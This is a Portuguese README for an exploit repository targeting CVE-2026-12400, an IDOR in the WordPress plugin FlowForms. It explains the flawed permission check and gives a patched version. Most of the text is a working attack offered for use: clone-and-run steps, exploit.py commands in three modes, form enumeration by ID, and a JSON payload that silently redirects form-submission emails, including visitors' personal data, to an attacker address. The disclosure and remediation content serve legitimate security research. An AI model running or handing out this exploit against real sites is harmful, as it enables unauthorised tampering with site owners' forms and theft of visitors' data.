CVE-2026-12400 — FlowForms IDOR: Modificação Não Autorizada de Formulários

Referência Direta a Objeto Insegura Autenticada (Contribuidor+) para Modificação Arbitrária de Formulários no FlowForms ≤ 1.1.1

Visão Geral da Vulnerabilidade

Análise Técnica

Estudo de caso completo em caixa branca com análise de código-fonte, rastreamento de fluxo de entrada e comparação de patches:

📄 Caso de Estudo CVE-2026-12400 — Medium

Superfície de Ataque

O FlowForms expõe dois endpoints da API REST sob o namespace flowforms/v1 que são vulneráveis:

POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Ambos aceitam um {id} controlado pelo usuário no caminho da URL e modificam os dados do formulário alvo — nome, conteúdo, layout, URL de redirecionamento e destinatários de notificação por e-mail.

Causa Raiz

Ambos os registros de rota vulneráveis compartilham o mesmo permission_callback falho:

// Atualizar conteúdo/nome do formulário
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Atualizar configurações do formulário (notificações por e-mail, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts é uma capacidade detida por Contribuidores. O parâmetro {id} nunca é verificado contra a propriedade do usuário solicitante — qualquer usuário autenticado pode mirar em qualquer ID de formulário no site.

Fluxo de Ataque

Atacante (Contribuidor)              API REST FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Autenticar como Contribuidor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Coletar nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerar formulários publicados
        │<─ HTTP 200 ───────────────────────│      (qualquer formulário acessível é um alvo)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Sobrescrever nome/conteúdo do formulário
        │       com payload do atacante ───>│       ← sem verificação de proprietário
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Sequestrar notificações por e-mail
        │       /settings ─────────────────>│       ← atacante recebe todas
        │<─ { "success": true } ────────────│         as futuras submissões de formulários
        │                                   │
        │   Todos os 3 vetores confirmados  │  (5) Nome ✔  Conteúdo ✔  E-mail ✔

Três Vetores de Ataque

O modo e-mail é o mais crítico. Após o sequestro, cada submissão ao formulário de contato da vítima — incluindo PII dos visitantes, mensagens e detalhes de contato — é encaminhada silenciosamente para o endereço controlado pelo atacante. O administrador do site não vê nenhuma indicação da alteração.

Uso do Exploit

Pré-requisitos

• Python 3.8+
• Uma conta autenticada com pelo menos o papel de Contribuidor no site alvo

Instalação

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modos de Operação

Modificação de Nome

Renomear qualquer formulário para conteúdo controlado pelo atacante:

python3 exploit.py \
  -u http://TARGET \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit name

Modificação de Conteúdo

Sobrescrever layout, telas, URL de redirecionamento e imagens de fundo:

python3 exploit.py \
  -u http://TARGET \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit content

Sequestro de Notificação por E-mail (Maior Impacto)

Redirecionar todas as notificações futuras de submissão de formulários para um endereço controlado pelo atacante:

python3 exploit.py \
  -u http://TARGET \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit email

Com Proxy (Burp Suite)

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contribuidor \
  --password senha123 \
  -i 1 -n 100 \
  --exploit email

Referência Completa de Flags

Personalizando Payloads

Os templates de payload JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) estão definidos no topo do script. Edite-os antes de executar para personalizar o conteúdo do ataque — altere o endereço de e-mail de notificação, URL de redirecionamento, imagem de fundo, título do formulário, etc.

# Topo do exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← altere isto
                    ...
                }
            }
        }
    }
}""")

Fluxo de Exploração

O exploit executa três etapas automatizadas:

Etapa 1 — Autenticar Faz login como atacante (Contribuidor) e coleta um nonce válido da API REST em wp-admin/post-new.php.

Etapa 2 — Enumerar Formulários Escaneia GET /flowform/{id} ao longo da faixa de IDs especificada. IDs que retornam HTTP 200 são coletados como alvos acessíveis — são formulários publicados pertencentes a qualquer usuário do site, incluindo administradores.

Etapa 3 — Explorar Dependendo do modo selecionado, envia o payload correspondente ao endpoint REST desprotegido:

• name / content → POST /flowforms/v1/forms/{id}
• email → POST /flowforms/v1/forms/{id}/settings

O servidor aceita a requisição e aplica a modificação sem verificar a propriedade.

Remediação

Implementação Segura

// VULNERÁVEL — ambos os endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SEGURO (corrigido)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referências

• CWE-639 — Contorno de Autorização Através de Chave Controlada pelo Usuário
• register_rest_route() — Documentação do WordPress para Desenvolvedores
• current_user_can() — Documentação do WordPress para Desenvolvedores
• Plugin FlowForms — WordPress.org

Estrutura do Projeto

CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Exploit refinado com interface rica (3 modos)
├── requirements.txt            # Dependências Python
└── README.md                   # Este arquivo

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais de pesquisa. O acesso não autorizado a sistemas de computador é ilegal de acordo com as leis aplicáveis em todo o mundo. O autor não assume nenhuma responsabilidade pelo uso indevido deste software. Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema que você não possua.

Autor

Phantom Hat — Pesquisador de Segurança Independente

• Medium: @phantom_hat
• GitHub: 0x00phantom-hat

Esta pesquisa foi conduzida como parte da divulgação responsável de vulnerabilidades.